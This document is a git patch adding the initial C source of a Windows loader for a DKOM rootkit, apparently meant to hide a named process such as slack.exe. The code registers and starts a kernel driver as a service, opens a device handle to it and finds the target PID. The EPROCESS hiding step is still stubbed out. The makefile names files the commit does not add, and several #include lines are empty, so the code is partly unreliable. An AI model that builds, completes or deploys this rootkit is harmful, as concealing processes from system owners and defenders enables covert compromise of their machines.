From 8828fa2f806949d7d6a05bbcaae330861b05b0e7 Mon Sep 17 00:00:00 2001 From: landhb-10 Date: Mon, 6 Mar 2017 20:24:18 -0500 Subject: [PATCH] Initial commit for loader --- loader.c | 198 ++++++++++++++++++++++++++++++++++++++++++ loader.h | 21 +++++ makefile | 5 ++ tools/errorhandling.c | 20 +++++ tools/privilages.c | 17 ++++ tools/process.c | 37 ++++++++ 6 files changed, 298 insertions(+) create mode 100644 loader.c create mode 100644 loader.h create mode 100644 makefile create mode 100644 tools/errorhandling.c create mode 100644 tools/privilages.c create mode 100644 tools/process.c diff --git a/loader.c b/loader.c new file mode 100644 index 0000000..1d83c7e --- /dev/null +++ b/loader.c @@ -0,0 +1,198 @@ + +#include "loader.h" + + +#define SERVICE "rootkit" +#define DEVICE "\\\\.\\rootkit" +#define DRIVER "c:\\\\Windows\\System32\\drivers\\KMDF_DKOM.sys" + + + +int call_kernel_driver(){ + printf("%s\n", "Calling Driver..."); +} + +BOOL load_driver(SC_HANDLE svcHandle) { + + printf("[*] Loading driver.\n"); + + // Attempt to start the service + if(StartService(svcHandle, 0, NULL) == 0) { + + // Check if error was due to the driver already running + if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) { + + printf("[!] Driver is already running.\n"); + return TRUE; + + } else { + printf("[-] Error loading driver: %s \n", GetLastErrorAsString()); + return FALSE; + } + } + + printf("[+] Driver loaded.\n"); + return TRUE; +} + +HANDLE install_driver() { + + // Declare variables + SC_HANDLE hSCManager; // Handle for SCM Database + SC_HANDLE hService; // Service handle + HANDLE hDevice = NULL; // Device handle for our driver + BOOLEAN b; + ULONG r; + + + // Open a handle to the sc.exe service manager + hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + + // Check the return value of our handle + if (hSCManager == NULL) { + printf("[-] Error opening handle to SCM Database: %s \n", GetLastErrorAsString()); + goto cleanup; + } + + printf("[*] Grabbing driver device handle...\n"); + + // Try to open a handle to our service + hService = OpenService(hSCManager, TEXT(SERVICE), SERVICE_ALL_ACCESS); + + // If it doesn't open successfully, try to create it as a new service + if(hService == NULL) { + + + printf("[!] Doesn't exist, installing new SCM entry...\n"); + + // Check if it's because it isn't already installed + if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) { + + // Create the service + hService = CreateService + ( + hSCManager, + TEXT(SERVICE), + TEXT(SERVICE), + SC_MANAGER_ALL_ACCESS, + SERVICE_KERNEL_DRIVER, + SERVICE_DEMAND_START, + SERVICE_ERROR_IGNORE, + TEXT(DRIVER), + NULL, NULL, NULL, NULL, NULL + ); + + if (hService == NULL) { + printf("[-] Error creating service: %s \n", GetLastErrorAsString()); + goto cleanup; + } + + } else { + printf("[-] Error opening service: %s \n", GetLastErrorAsString()); + goto cleanup; + } + + printf("[+] SCM database entry added.\n"); + + // Check if newly installed driver didn't load properly + if(!load_driver(hService)){ + goto cleanup; + } + + } + + // Open Device handle + hDevice = CreateFile + ( + TEXT(DEVICE), + GENERIC_READ | GENERIC_WRITE, + 0, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + + // Check to ensure a valid handle + if (hDevice == INVALID_HANDLE_VALUE) { + printf("[-] Error creating handle: %s \n", GetLastErrorAsString()); + hDevice = NULL; + goto cleanup; + } + +// Cleanup and return +// I debated a long time about the using a goto here, I didn't want to type the +// cleanup routine everytime I wanted to return after an error. +// Linus and Rik van Riel convinced me it was okay: +// http://web.archive.org/web/20100211132600/http://kerneltrap.org/node/553/2131 +// I guess memory cleanup and non-nested conditionals like we have above are +// one of the only times using the notorious goto isn't a crime against humanity +cleanup: + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + return hDevice; + +} + + + +int main(int argc, char *argv[]) +{ + + // Device handle + HANDLE hDevice; + + // Usage + if ( argc != 2) { + printf("Usage Error: " + "\nPlease provide a process to hide (ex. slack.exe)\n"); + exit(EXIT_FAILURE); + } + + /* + // Check privilages + if (!IsElevated()) { + printf("Exiting: The DKOM rootkit requires elevated privilages to hide a process.\n"); + return 1; + } */ + + // Banner + printf("\n Basic DKOM Rootkit to Hide a Process\n" + " Usage : loader.exe [process name]\n" + " Author: Bradley Landherr\n\n"); + + + // Get the PID of the given process + unsigned int pid = FindProcessId(argv[1]); + + printf("\n[+] Discovered PID of process %s: %d\n", argv[1], pid); + + // Lock access to EPROCESS list using the IRQL (Interrupt Request Level) approach + + //KIRQL irql; + //PKDPC dpcPtr; + //irql = RaiseIRQL(); + //dpcPtr = AquireLock(); + + // Grab handle to our rootkit driver + hDevice = install_driver(); + + // Exit if there was an error + if (hDevice == NULL) { + exit(1); + } + + printf("[+] Recieved driver handle."); + //printf("[-] Could not lock EPROCESS list."); + + + // Modify the EPROCESS list + + + // Release access to the EPROCESS list and exit + //ReleaseLock(dpcPtr); + //LowerIRQL(irql); + + CloseHandle(hDevice); + return 0; +} \ No newline at end of file diff --git a/loader.h b/loader.h new file mode 100644 index 0000000..dcbffa8 --- /dev/null +++ b/loader.h @@ -0,0 +1,21 @@ +#include +#include +#include +#include +#include +#include +#include +/* +#include +#include */ + + +// ----------------------------------------------------------------- +// Tools +// ----------------------------------------------------------------- + +BOOL IsElevated(); // Checks if the program is elevated - privilages.c + +unsigned int FindProcessId(const char *processname); // Given a process name returns the PID - process.c + +const char * GetLastErrorAsString(); // Return the last error as a string - errorhandling.c \ No newline at end of file diff --git a/makefile b/makefile new file mode 100644 index 0000000..135545a --- /dev/null +++ b/makefile @@ -0,0 +1,5 @@ +32bit: main.c tools/errorhandling.c tools/process.c tools/privilages.c + i686-w64-mingw32-gcc -Iddk -o dkom.exe main.c tools/errorhandling.c tools/process.c tools/privilages.c main.h + +64bit: main.c tools/errorhandling.c tools/process.c tools/privilages.c + x86_64-w64-mingw32-gcc -Iddk -o dkom.exe main.c tools/errorhandling.c tools/process.c tools/privilages.c main.h \ No newline at end of file diff --git a/tools/errorhandling.c b/tools/errorhandling.c new file mode 100644 index 0000000..b08f57e --- /dev/null +++ b/tools/errorhandling.c @@ -0,0 +1,20 @@ +#include "../main.h" + +//Returns the last Win32 error, in string format. Returns an empty string if there is no error. +const char * GetLastErrorAsString() +{ + //Get the error message, if any. + DWORD errorMessageID = GetLastError(); + if(errorMessageID == 0) { + return NULL; //No error message has been recorded + } + + char * messageBuffer = NULL; + size_t size = FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, errorMessageID, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&messageBuffer, 0, NULL); + + + + return messageBuffer; +} + diff --git a/tools/privilages.c b/tools/privilages.c new file mode 100644 index 0000000..b69066d --- /dev/null +++ b/tools/privilages.c @@ -0,0 +1,17 @@ +#include "../main.h" + +BOOL IsElevated( ) { + BOOL fRet = FALSE; + HANDLE hToken = NULL; + if( OpenProcessToken( GetCurrentProcess( ),TOKEN_QUERY,&hToken ) ) { + TOKEN_ELEVATION Elevation; + DWORD cbSize = sizeof( TOKEN_ELEVATION ); + if( GetTokenInformation( hToken, TokenElevation, &Elevation, sizeof( Elevation ), &cbSize ) ) { + fRet = Elevation.TokenIsElevated; + } + } + if( hToken ) { + CloseHandle( hToken ); + } + return fRet; +} \ No newline at end of file diff --git a/tools/process.c b/tools/process.c new file mode 100644 index 0000000..3dcfc92 --- /dev/null +++ b/tools/process.c @@ -0,0 +1,37 @@ +#include "../main.h" + +unsigned int FindProcessId(const char *processname) +{ + HANDLE hProcessSnap; + PROCESSENTRY32 pe32; + unsigned int result = NULL; + + // Take a snapshot of all processes in the system. + hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (INVALID_HANDLE_VALUE == hProcessSnap) return(FALSE); + + pe32.dwSize = sizeof(PROCESSENTRY32); // <----- IMPORTANT + + // Retrieve information about the first process, + // and exit if unsuccessful + if (!Process32First(hProcessSnap, &pe32)) + { + CloseHandle(hProcessSnap); // clean the snapshot object + printf("!!! Failed to gather information on system processes! \n"); + return 0; + } + + do + { + //printf("Checking process %ls\n", pe32.szExeFile); + if (0 == strcmp(processname, pe32.szExeFile)) + { + result = pe32.th32ProcessID; + break; + } + } while (Process32Next(hProcessSnap, &pe32)); + + CloseHandle(hProcessSnap); + + return result; +} \ No newline at end of file